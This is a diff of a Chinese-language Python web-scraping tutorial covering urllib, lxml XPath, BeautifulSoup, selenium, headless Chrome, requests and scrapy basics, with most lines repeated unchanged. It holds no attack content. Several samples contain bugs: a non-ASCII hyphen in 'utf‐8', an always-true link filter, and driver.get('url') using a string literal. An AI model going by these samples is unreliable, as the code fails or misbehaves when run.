-#hallo = urllib.request.urlopen(data).read().decode('utf-8')
-#print(hallo)
-
-# 6个方法
-#abc = hi.read(6) #按字节返回
-#xyz = hi.readline()  # 读取一行
-#a = hi.readlines()  # 一行一行的读取
-#b = hi.getcode()  # 状态码
-#c = hi.geturl()  # 获取url地址
-#d = hi.getheaders()  # 获取状态信息
-
-# 下载到本地
-
-#urllib.request.urlretrieve(url,data.html)
-
-#url_img = &quot;https://xiaochenabc123.test.com/1.jpg&quot;
-#urllib.request.urlretrieve(url_img,abc.jpg)
-
-#url_mp4 = &quot;https://xiaochenabc123.test.com/1.mp4&quot;
-#urllib.request.urlretrieve(url_img,xyz.mp4)
-
-
-# auote() 转Unicode编码
-#name = urllib.parse.quote(&quot;哈哈哈&quot;)
-
-#urlencode(),get拼接
-gg = {
-    &quot;name&quot;: &quot;小陈&quot;,
-    &quot;data&quot;: &quot;hallo word&quot;
-}
-haha = urllib.parse.urlencode(gg)
-#print(haha)
-
-# post请求
-ssr = {
-    data: &quot;abc&quot;
-}
-abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8')
-nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz)
-yesgo = urllib.request.urlopen(nogo)
-#print(yesgo.read().decode('utf‐8'))
-
-#ajax请求（get和post）
-
-
-#cookie（扩展headers）
-
-headers = {
-    'Cookie': 'xxxx'
-}
-
-
-
-
-#HTTPHandler()
-
-#request = urllib.request.Request(url=url, headers=headers) 
-#handler = urllib.request.HTTPHandler()
-#opener = urllib.request.build_opener(handler) 
-#response = opener.open(request) 
-#print(response.read().decode('utf‐8'))
-
-
-
-#代理服务器
-urls = &quot;http://baidu.com&quot;
-
-request = urllib.request.Request(url=urls, headers=headers)
-proxies = {'https': '14.115.106.223:808'}
-handler = urllib.request.ProxyHandler(proxies=proxies) 
-opener = urllib.request.build_opener(handler) 
-response = opener.open(request) 
-content = response.read().decode('utf‐8')
-#print(content)
-</code></pre><hr><pre><code>from lxml import etree
-import urllib.request
-
-# 解析本地文件
-#html_data = etree.parse('./hallo.html', etree.HTMLParser())
-# 解析服务器响应文件
-# html = etree.HTML(response.read().decode('utf‐8')
-#result = etree.tostring(html_data)
-# print(result.decode('utf-8'))
-# /为查找子节点，//为查找全部子孙节点（不考虑层级）
-# list = html_data.xpath(&quot;//ul/li&quot;)
-# 查找全部带id
-# list = html_data.xpath(&quot;//ul/li[@id]/text()&quot;)
-# 查找指定id
-# list = html_data.xpath('//ul/li[@id=&quot;a&quot;]/text()')
-# 查找指定class的
-# list = html_data.xpath('//ul/li[@class=&quot;a&quot;]/text()')
-# 模糊查询（包含）
-# list = html_data.xpath('//ul/li[contains(@id, &quot;ab&quot;)]/text()')
-# 查找以什么开头的
-# list = html_data.xpath('//li[starts-with(@id, &quot;a&quot;)]/text()')
-# 查找以什么结尾的
-# list = html_data.xpath('//li[ends-with(@id, &quot;a&quot;)]/text()')
-# 查找内容
-# list = html_data.xpath('//a[text()=&quot;小陈的辣鸡屋&quot;]/text()')
-# 多属性匹配(和)
-# list = html_data.xpath('//li[contains(@id, &quot;a&quot;) and @href=&quot;https://xiaochenabc123.test.com&quot;]/a/text()')
-# 或者
-# list = html_data.xpath('//li[contains(@id, &quot;a&quot;) | @href=&quot;https://xiaochenabc123.test.com&quot;]/a/text()')
-# 查找指定顺序的
-# list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个
-# list = html_data.xpath('//a[last()]/text()') #获取最后一个
-# list = html_data.xpath('//a[position()&lt;6]/text()') # 获取前5个
-# list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个
-# print(list)
-
-#实例：获取logo和logo的url
-#url = &quot;https://xiaochenabc123.test.com&quot;
-#headers = {
-#    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-#}
-#request = urllib.request.Request(url=url, headers=headers)
-#response = urllib.request.urlopen(request)
-#content = response.read().decode(&quot;utf-8&quot;)
-#hallo = etree.HTML(content)
-#data = hallo.xpath('//h3[@id=&quot;logo&quot;]/a/@href')[0]
-#data1 = hallo.xpath('//h3[@id=&quot;logo&quot;]/a/text()')[0]
-#print(data,data1)
-
-
-#获取文章的标题
-
-
-
-
-#headers = {
-#    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-#}
-#
-#if __name__ == &quot;__main__&quot;:
-#    page1 = int(input(&quot;开始&quot;))
-#    page2 = int(input(&quot;结束&quot;))
-#
-#    for page in range(page1, page2 + 1):
-#        urldata = &quot;https://xiaochenabc123.test.com/archives/&quot; + str(page) + &quot;.html&quot;
-#        #print(urldata)
-#        request = urllib.request.Request(url=urldata, headers=headers)
-#        response = urllib.request.urlopen(request)
-#        if (response.getcode() == 200):
-#            content = response.read().decode(&quot;utf-8&quot;)
-#            hallo = etree.HTML(content)
-#            data = hallo.xpath('//h3[@class=&quot;post-title&quot;]/a/text()')[0]
-#            print(data)
-#        elif(response.getcode() == 404):
-#            continue
-
-
-#爬取网站的全部a链接，并且返回到数组中
-
-#if __name__ == &quot;__main__&quot;:
-#    url = input(&quot;请输入要爬取的url&quot;)
-#    abc = int(input(&quot;是否启动只搜索当前域名的url,请回复0或者1&quot;))
-#    headers = {
-#       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-#    }
-#    request = urllib.request.Request(url=url, headers=headers)
-#    response = urllib.request.urlopen(request)
-#    content = response.read().decode(&quot;utf-8&quot;)
-#    hallo = etree.HTML(content)
-#    data = hallo.xpath('//a/@href')
-#    a = 1
-#    b = 1
-#    c = &quot;https&quot;
-#    d = &quot;http&quot;
-#    if (abc == 1):
-#        while a &lt; len(data):
-#            if (c or d in data[a]):
-#                if (url in data[a]):
-#                    urldata = data[a]
-#                    print(urldata)
-#                a += 1
-#    else:
-#        while b &lt; len(data):
-#            if (c or d  in data[a]):
-#                urldata = data[b]
-#                print(urldata)
-#                b += 1
-</code></pre><hr><p>练习（json解析bing官方提供的api，获取精密壁纸）</p><pre><code>import jsonpath
-import json
-import urllib.request
-# pip install jsonpath
-headers = {
-    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-}
-abc = 0
-while abc == 0 :
-    a = int(input(&quot;请输入要下载的张数（bing最多只能下载8张）&quot;))
-    aa = str(a)
-    if(a&lt;=8):
-        urlapi = &quot;https://cn.bing.com/HPImageArchive.aspx?format=js&amp;idx=0&amp;n=&quot;+aa+&quot;&amp;mkt=zh-CN&quot;
-        request = urllib.request.Request(url=urlapi, headers=headers)
-        resp = urllib.request.urlopen(request)
-        content = resp.read().decode(&quot;utf-8&quot;)
-        with open(&quot;data.json&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as fp:
-            fp.write(content)
-        obj = json.load(open(&quot;data.json&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;))
-        hallo = jsonpath.jsonpath(obj, &quot;$..url&quot;)
-        img = jsonpath.jsonpath(obj, &quot;$..enddate&quot;)
-        c = 0
-        b = 0
-        while c &lt; len(hallo):
-            hi = &quot;https://cn.bing.com&quot;
-            data = hi + hallo[c]
-            print(data)
-            c+=1
-            while b &lt; len(img):
-                haha = img[b] + &quot;.jpg&quot;
-                print(haha)
-                urllib.request.urlretrieve(data, filename=haha)
-                b+=1
-                break
-        print(&quot;下载完成！！！&quot;)
-        abc = 1
-    else:
-        print(&quot;您输入的张数超过8张，bing官方api只能下载8张，请重新输入&quot;)
-</code></pre><hr><p>Beautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码</p><p>目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护</p><p>安装</p><p>pip install beautifulsoup4</p><p>注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器</p><pre><code>BeautifulSoup(html, html.parser) # 内置标准库
-BeautifulSoup(html, lxml) # lxml库，需要下载lxml库
-BeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库
-BeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib
-</code></pre><p>第一个例子</p><pre><code>from bs4 import BeautifulSoup
-# data =  BeautifulSoup(open(&quot;haha.html&quot;),encoding=&quot;utf-8&quot;, &quot;lxml&quot;)
-data =  BeautifulSoup(open(&quot;haha.html&quot;))
-print(data.prettify())
-</code></pre><p>bs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：</p><p>Tag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）</p><p>检查对象的类型：print (type(data.div))，可以看到输出结果为&lt;class &lsquo;bs4.element.Tag&rsquo;>，说明该对象为tag</p><p>tag有两个属性，分别为name和attrs</p><pre><code>print (data.name)
-print (data.div.name)
-</code></pre><p>可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字</p><pre><code>print (data.div.attrs)
-</code></pre><p>可以看到输出结果是{&lsquo;class&rsquo;: [&lsquo;xxx&rsquo;]}的键值对，可以通过data.div[&ldquo;xxx&rdquo;]方式获取属性值，也可以修改属性值（data.div[&ldquo;class&rdquo;]= &ldquo;nav&rdquo;），删除属性（del data.div[&ldquo;class&rdquo;]）</p><p>NavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为&lt;class &lsquo;bs4.element.NavigableString&rsquo;></p><p>BeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，&lt;class &lsquo;bs4.BeautifulSoup&rsquo;></p><p>Comment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出&lt;class &lsquo;bs4.element.Comment&rsquo;></p><p>查找</p><pre><code>print(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点
-
-print(data.div.children)  #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取
-
-print(data.select(&quot;span&quot;)) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样）
-
-print(data.find(&quot;div&quot;))
-
-print(data.find(&quot;div&quot;,class_=&quot;nav&quot;))
+response = urllib.request.urlopen(&lsquo;<a href="https://xiaochenabc123.test.com/',timeout=1">https://xiaochenabc123.test.com/',timeout=1</a>)</p><p>这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except</p><pre><code>import urllib.parse
+import urllib.request
+url = &quot;https://xiaochenabc123.test.com/&quot;
+headers = {
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'}
+data = urllib.request.Request(url=url, headers=headers)
+hi = hallo = urllib.request.urlopen(data)
+#hallo = urllib.request.urlopen(data).read().decode('utf-8')
+#print(hallo)
+
+# 6个方法
+#abc = hi.read(6) #按字节返回
+#xyz = hi.readline()  # 读取一行
+#a = hi.readlines()  # 一行一行的读取
+#b = hi.getcode()  # 状态码
+#c = hi.geturl()  # 获取url地址
+#d = hi.getheaders()  # 获取状态信息
+
+# 下载到本地
+
+#urllib.request.urlretrieve(url,data.html)
+
+#url_img = &quot;https://xiaochenabc123.test.com/1.jpg&quot;
+#urllib.request.urlretrieve(url_img,abc.jpg)
+
+#url_mp4 = &quot;https://xiaochenabc123.test.com/1.mp4&quot;
+#urllib.request.urlretrieve(url_img,xyz.mp4)
+
+
+# auote() 转Unicode编码
+#name = urllib.parse.quote(&quot;哈哈哈&quot;)
+
+#urlencode(),get拼接
+gg = {
+    &quot;name&quot;: &quot;小陈&quot;,
+    &quot;data&quot;: &quot;hallo word&quot;
+}
+haha = urllib.parse.urlencode(gg)
+#print(haha)
+
+# post请求
+ssr = {
+    data: &quot;abc&quot;
+}
+abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8')
+nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz)
+yesgo = urllib.request.urlopen(nogo)
+#print(yesgo.read().decode('utf‐8'))
+
+#ajax请求（get和post）
+
+
+#cookie（扩展headers）
+
+headers = {
+    'Cookie': 'xxxx'
+}
+
+
+
+
+#HTTPHandler()
+
+#request = urllib.request.Request(url=url, headers=headers) 
+#handler = urllib.request.HTTPHandler()
+#opener = urllib.request.build_opener(handler) 
+#response = opener.open(request) 
+#print(response.read().decode('utf‐8'))
+
+
+
+#代理服务器
+urls = &quot;http://baidu.com&quot;
+
+request = urllib.request.Request(url=urls, headers=headers)
+proxies = {'https': '14.115.106.223:808'}
+handler = urllib.request.ProxyHandler(proxies=proxies) 
+opener = urllib.request.build_opener(handler) 
+response = opener.open(request) 
+content = response.read().decode('utf‐8')
+#print(content)
+</code></pre><hr><pre><code>from lxml import etree
+import urllib.request
+
+# 解析本地文件
+#html_data = etree.parse('./hallo.html', etree.HTMLParser())
+# 解析服务器响应文件
+# html = etree.HTML(response.read().decode('utf‐8')
+#result = etree.tostring(html_data)
+# print(result.decode('utf-8'))
+# /为查找子节点，//为查找全部子孙节点（不考虑层级）
+# list = html_data.xpath(&quot;//ul/li&quot;)
+# 查找全部带id
+# list = html_data.xpath(&quot;//ul/li[@id]/text()&quot;)
+# 查找指定id
+# list = html_data.xpath('//ul/li[@id=&quot;a&quot;]/text()')
+# 查找指定class的
+# list = html_data.xpath('//ul/li[@class=&quot;a&quot;]/text()')
+# 模糊查询（包含）
+# list = html_data.xpath('//ul/li[contains(@id, &quot;ab&quot;)]/text()')
+# 查找以什么开头的
+# list = html_data.xpath('//li[starts-with(@id, &quot;a&quot;)]/text()')
+# 查找以什么结尾的
+# list = html_data.xpath('//li[ends-with(@id, &quot;a&quot;)]/text()')
+# 查找内容
+# list = html_data.xpath('//a[text()=&quot;小陈的辣鸡屋&quot;]/text()')
+# 多属性匹配(和)
+# list = html_data.xpath('//li[contains(@id, &quot;a&quot;) and @href=&quot;https://xiaochenabc123.test.com&quot;]/a/text()')
+# 或者
+# list = html_data.xpath('//li[contains(@id, &quot;a&quot;) | @href=&quot;https://xiaochenabc123.test.com&quot;]/a/text()')
+# 查找指定顺序的
+# list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个
+# list = html_data.xpath('//a[last()]/text()') #获取最后一个
+# list = html_data.xpath('//a[position()&lt;6]/text()') # 获取前5个
+# list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个
+# print(list)
+
+#实例：获取logo和logo的url
+#url = &quot;https://xiaochenabc123.test.com&quot;
+#headers = {
+#    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+#}
+#request = urllib.request.Request(url=url, headers=headers)
+#response = urllib.request.urlopen(request)
+#content = response.read().decode(&quot;utf-8&quot;)
+#hallo = etree.HTML(content)
+#data = hallo.xpath('//h3[@id=&quot;logo&quot;]/a/@href')[0]
+#data1 = hallo.xpath('//h3[@id=&quot;logo&quot;]/a/text()')[0]
+#print(data,data1)
+
+
+#获取文章的标题
+
+
+
+
+#headers = {
+#    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+#}
+#
+#if __name__ == &quot;__main__&quot;:
+#    page1 = int(input(&quot;开始&quot;))
+#    page2 = int(input(&quot;结束&quot;))
+#
+#    for page in range(page1, page2 + 1):
+#        urldata = &quot;https://xiaochenabc123.test.com/archives/&quot; + str(page) + &quot;.html&quot;
+#        #print(urldata)
+#        request = urllib.request.Request(url=urldata, headers=headers)
+#        response = urllib.request.urlopen(request)
+#        if (response.getcode() == 200):
+#            content = response.read().decode(&quot;utf-8&quot;)
+#            hallo = etree.HTML(content)
+#            data = hallo.xpath('//h3[@class=&quot;post-title&quot;]/a/text()')[0]
+#            print(data)
+#        elif(response.getcode() == 404):
+#            continue
+
+
+#爬取网站的全部a链接，并且返回到数组中
+
+#if __name__ == &quot;__main__&quot;:
+#    url = input(&quot;请输入要爬取的url&quot;)
+#    abc = int(input(&quot;是否启动只搜索当前域名的url,请回复0或者1&quot;))
+#    headers = {
+#       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+#    }
+#    request = urllib.request.Request(url=url, headers=headers)
+#    response = urllib.request.urlopen(request)
+#    content = response.read().decode(&quot;utf-8&quot;)
+#    hallo = etree.HTML(content)
+#    data = hallo.xpath('//a/@href')
+#    a = 1
+#    b = 1
+#    c = &quot;https&quot;
+#    d = &quot;http&quot;
+#    if (abc == 1):
+#        while a &lt; len(data):
+#            if (c or d in data[a]):
+#                if (url in data[a]):
+#                    urldata = data[a]
+#                    print(urldata)
+#                a += 1
+#    else:
+#        while b &lt; len(data):
+#            if (c or d  in data[a]):
+#                urldata = data[b]
+#                print(urldata)
+#                b += 1
+</code></pre><hr><p>练习（json解析bing官方提供的api，获取精密壁纸）</p><pre><code>import jsonpath
+import json
+import urllib.request
+# pip install jsonpath
+headers = {
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
+}
+abc = 0
+while abc == 0 :
+    a = int(input(&quot;请输入要下载的张数（bing最多只能下载8张）&quot;))
+    aa = str(a)
+    if(a&lt;=8):
+        urlapi = &quot;https://cn.bing.com/HPImageArchive.aspx?format=js&amp;idx=0&amp;n=&quot;+aa+&quot;&amp;mkt=zh-CN&quot;
+        request = urllib.request.Request(url=urlapi, headers=headers)
+        resp = urllib.request.urlopen(request)
+        content = resp.read().decode(&quot;utf-8&quot;)
+        with open(&quot;data.json&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as fp:
+            fp.write(content)
+        obj = json.load(open(&quot;data.json&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;))
+        hallo = jsonpath.jsonpath(obj, &quot;$..url&quot;)
+        img = jsonpath.jsonpath(obj, &quot;$..enddate&quot;)
+        c = 0
+        b = 0
+        while c &lt; len(hallo):
+            hi = &quot;https://cn.bing.com&quot;
+            data = hi + hallo[c]
+            print(data)
+            c+=1
+            while b &lt; len(img):
+                haha = img[b] + &quot;.jpg&quot;
+                print(haha)
+                urllib.request.urlretrieve(data, filename=haha)
+                b+=1
+                break
+        print(&quot;下载完成！！！&quot;)
+        abc = 1
+    else:
+        print(&quot;您输入的张数超过8张，bing官方api只能下载8张，请重新输入&quot;)
+</code></pre><hr><p>Beautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码</p><p>目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护</p><p>安装</p><p>pip install beautifulsoup4</p><p>注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器</p><pre><code>BeautifulSoup(html, html.parser) # 内置标准库
+BeautifulSoup(html, lxml) # lxml库，需要下载lxml库
+BeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库
+BeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib
+</code></pre><p>第一个例子</p><pre><code>from bs4 import BeautifulSoup
+# data =  BeautifulSoup(open(&quot;haha.html&quot;),encoding=&quot;utf-8&quot;, &quot;lxml&quot;)
+data =  BeautifulSoup(open(&quot;haha.html&quot;))
+print(data.prettify())
+</code></pre><p>bs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：</p><p>Tag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）</p><p>检查对象的类型：print (type(data.div))，可以看到输出结果为&lt;class &lsquo;bs4.element.Tag&rsquo;>，说明该对象为tag</p><p>tag有两个属性，分别为name和attrs</p><pre><code>print (data.name)
+print (data.div.name)
+</code></pre><p>可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字</p><pre><code>print (data.div.attrs)
+</code></pre><p>可以看到输出结果是{&lsquo;class&rsquo;: [&lsquo;xxx&rsquo;]}的键值对，可以通过data.div[&ldquo;xxx&rdquo;]方式获取属性值，也可以修改属性值（data.div[&ldquo;class&rdquo;]= &ldquo;nav&rdquo;），删除属性（del data.div[&ldquo;class&rdquo;]）</p><p>NavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为&lt;class &lsquo;bs4.element.NavigableString&rsquo;></p><p>BeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，&lt;class &lsquo;bs4.BeautifulSoup&rsquo;></p><p>Comment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出&lt;class &lsquo;bs4.element.Comment&rsquo;></p><p>查找</p><pre><code>print(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点
+
+print(data.div.children)  #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取
+
+print(data.select(&quot;span&quot;)) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样）
+
+print(data.find(&quot;div&quot;))
+
+print(data.find(&quot;div&quot;,class_=&quot;nav&quot;))
 </code></pre><hr><p>selenium是一个web应用自动化测试工具，selenium可以直接运行在目前主流浏览器驱动（本身没有浏览器功能，需要搭配第三方浏览器，支持无界面浏览器），模拟用户操作</p><p>因为其自动化和可以直接运行在浏览器的原因，可以用于爬虫</p><p>chromedriver：https://npm.taobao.org/mirrors/chromedriver（淘宝镜像地址，下载的驱动版本要和浏览器内核的版本一样）
 edge: <a href=https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/>https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/</a>
 （webdriver.Edge()）
-火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）</p><p>安装</p><p>pip install selenium</p><p>导入驱动</p><pre><code>from selenium import webdriver
-path = &quot;浏览器驱动路径&quot;
-driver = webdriver.Chrome(path)
-url = &quot;https://xiaochenabc123.test.com&quot;
-driver.get(url)
-data = driver.page_source
-print(data)
+火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）</p><p>安装</p><p>pip install selenium</p><p>导入驱动</p><pre><code>from selenium import webdriver
+path = &quot;浏览器驱动路径&quot;
+driver = webdriver.Chrome(path)
+url = &quot;https://xiaochenabc123.test.com&quot;
+driver.get(url)
+data = driver.page_source
+print(data)
 </code></pre><p>元素定位（模拟鼠标和键盘操作元素的点击或者输入等等，在操作元素之前需要获取到元素的位置）</p><p>注意：element是返回单个对象，elements可以返回多个对象</p><p>根据id查找元素</p><p>data = driver.find_element_by_id(&ldquo;app&rdquo;)</p><p>根据name属性值查找
 data = driver.find_element_by_name("")</p><p>根据xpath查找
 data = driver.find_elements_by_xpath()</p><p>根据标签名查找
@@ -317,155 +317,155 @@
 driver.back()
 driver.refresh()</p><p>input输入框操作</p><p>data.click() #单击元素
 data.send_keys(&ldquo;hallo&rdquo;) #输入
-data.clear() #清除内容</p><p>执行指定js脚本</p><p>driver.execute_script(js)</p><p>例如：</p><pre><code>import time
-from selenium import webdriver
-path = &quot;msedgedriver.exe&quot;
-driver = webdriver.Edge(path)
-url = &quot;https://www.baidu.com/&quot;
-driver.get(url)
-data = driver.page_source
-datas = driver.find_element_by_id(&quot;kw&quot;)
-datas.send_keys(&quot;小陈的辣鸡屋&quot;)
-a = driver.find_element_by_id(&quot;su&quot;)
-a.click()
-time.sleep(2)
-#bottom = 'document.documentElement.scrollTop=10000'
-#driver.execute_script(bottom)
-b = driver.find_element_by_link_text(&quot;小陈的辣鸡屋&quot;)
-b.click()
-</code></pre><p>Phantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome</p><p><a href=https://phantomjs.org/>https://phantomjs.org/</a></p><p>phantomjs操作方式一样</p><pre><code>driver = webdriver.PhantomJS(path)
-</code></pre><p>因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(&ldquo;xiaochenabc123.test.com.jpg&rdquo;)</p><p>Headless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）</p><pre><code>from selenium import webdriver
-from selenium.webdriver.chrome.options import Options
-chrome_options = Options()
-chrome_options.add_argument('--headless') # 无界面模式启动
-chrome_options.add_argument('--disable-gpu')
-path = &quot;Chrome.exe&quot; # Chrome浏览器的路径
-chrome_options.binary_location = path
-driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化
-url = &quot;https://xiaochenabc123.test.com&quot;
-driver.get(&quot;url&quot;)
-driver.save_screenshot(&quot;xiaochenabc123.test.com.jpg&quot;)
-</code></pre><p>具体操作方法和selenium一样</p><hr><p>requests库是基于Python开发并且封装的http库，HTTP for Humans</p><p>安装</p><p>pip install requests</p><p>使用方式很简单</p><pre><code>import requests
-url = &quot;https://xiaochenabc123.test.com&quot;
-response = requests.get(url)
-response.status_code # 200 返回状态码
-print(type(response)) # 返回类型
-response.encoding = &quot;utf-8&quot; # 响应的编码
-print(response.text) # 返回源代码
-print(response.url) # 返回请求的url
-print(response.content) # 返回二进制数据
-print(response.headers) # 返回响应头
-</code></pre><p>requests在请求json的时候还可以直接获取</p><p>get请求</p><p>get请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：</p><pre><code>data = {
-    'wd': 'python'
-}
-headers = {
-        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'
-}
-response = requests.get('https://baidu.com/s?', params=data, headers=headers)
-print (response.text)
-</code></pre><p>post请求</p><p>post请求不需要考虑编解码，不需要考虑请求对象</p><pre><code>data = {
-    'url': 'xiaochenabc123.test.com',
-    'name': 'root'
-}
-url = &quot;https://httpbin.org/post&quot;
-response = requests.post(url=url, data=data, headers=headers)
-import json
-obj = json.loads(response.text,encoding=&quot;utf-8&quot;)
-print (obj)
-</code></pre><p>注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数</p><p>另外还支持put()和delete()</p><p>传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）</p><p>代理用proxies参数，指向一个字典（代理池）</p><hr><p>scrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储</p><p>安装</p><p>pip install scrapy</p><p>scrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）</p><p>Scrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件</p><p>Scheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）</p><p>Downloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider</p><p>Spider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url</p><p>Item Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中</p><p>Downloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等</p><p>Spider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能</p><p>具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request</p><p>新建项目：</p><p>scrapy startproject scrapyDemo</p><p>这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）</p><p>spider爬虫程序（/spiders目录下）</p><p>创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据</p><p>快速创建一个基础scrapy爬虫程序</p><p>scrapy genspider cjlio xiaochenabc123.test.com</p><pre><code>import scrapy
-
